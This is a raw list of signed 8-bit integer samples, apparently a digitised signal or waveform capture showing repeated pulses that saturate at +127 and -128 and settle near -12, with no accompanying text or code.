+-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +108 +104 +100 +95 +90 +84 +79 +72 +66 +59 +53 +48 +42 +37 +33 +29 +26 +23 +20 +17 +15 +12 +10 +8 +7 +5 +4 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-99 +-106 +-100 +-80 +-91 +-70 +-81 +-76 +-73 +-69 +-65 +-61 +-58 +-56 +-52 +-49 +-47 +-45 +-44 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-32 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +112 +108 +105 +102 +98 +92 +88 +82 +77 +70 +63 +57 +51 +46 +41 +36 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-10 +-11 +-11 +-11 +-12 +-12 +-12 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-14 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-108 +-102 +-97 +-92 +-72 +-82 +-77 +-73 +-69 +-66 +-61 +-58 +-56 +-53 +-50 +-48 +-45 +-44 +-41 +-39 +-38 +-37 +-36 +-34 +-32 +-31 +-30 +-29 +-27 +-26 +-26 +-25 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-16 +-15 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-14 +-14 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +108 +104 +100 +95 +90 +85 +79 +72 +66 +59 +54 +47 +43 +38 +34 +29 +26 +23 +20 +18 +16 +13 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +-107 +-102 +-80 +-90 +-70 +-81 +-76 +-72 +-68 +-65 +-61 +-58 +-55 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-29 +-28 +-26 +-25 +-24 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-17 +-16 +-16 +-15 +-16 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-15 +-14 +-15 +-15 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +111 +108 +104 +100 +95 +90 +84 +79 +72 +66 +59 +53 +47 +42 +37 +32 +28 +25 +22 +19 +17 +14 +12 +11 +9 +7 +5 +4 +2 +1 +-1 +-1 +-3 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-100 +-79 +-91 +-70 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +-24 +-23 +-22 +-22 +-22 +-21 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-18 +-18 +-17 +-17 +-16 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +115 +110 +108 +104 +100 +95 +90 +83 +78 +71 +66 +59 +53 +48 +43 +38 +34 +29 +26 +22 +20 +17 +15 +13 +11 +9 +7 +5 +4 +2 +2 +0 +-1 +-2 +-2 -4 -4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-14 +-14 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +-102 +-80 +-91 +-71 +-82 +-77 +-73 +-69 +-66 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-12 +-12 +-13 +-14 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-14 +-14 +-14 +-14 +-12 +-12 +-13 +-13 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +110 +107 +104 +100 +96 +91 +84 +78 +71 +65 +59 +53 +47 +42 +37 +34 +30 +26 +23 +20 +17 +15 +13 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-107 +-101 +-80 +-91 +-69 +-81 +-77 +-73 +-69 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-25 +-24 +-23 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-19 +-18 +-18 +-17 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-15 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-14 +-14 +-15 +-16 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-14 +-14 +-14 +-12 +-13 +-13 +-14 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-14 +-14 +-14 +-13 +-12 +-13 +-14 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-14 +-14 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +112 +108 +104 +100 +95 +91 +84 +79 +72 +66 +59 +54 +48 +43 +37 +33 +29 +26 +23 +20 +17 +15 +13 +11 +9 +7 +6 +4 +2 +2 +0 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-101 +-80 +-91 +-70 +-80 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +108 +104 +101 +98 +92 +88 +82 +76 +70 +64 +57 +51 +45 +40 +35 +32 +28 +25 +22 +20 +17 +15 +13 +10 +8 +7 +5 +3 +2 +1 +-1 +-1 +-3 -4 -4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +-98 +-108 +-101 +-80 +-91 +-69 +-80 +-77 +-73 +-69 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-46 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-16 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +111 +108 +104 +100 +95 +90 +84 +78 +71 +66 +59 +53 +48 +43 +38 +34 +30 +26 +23 +20 +17 +15 +12 +11 +9 +7 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-15 +-15 +-16 +-15 +-16 +-16 +-16 +-16 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-17 +-17 +-17 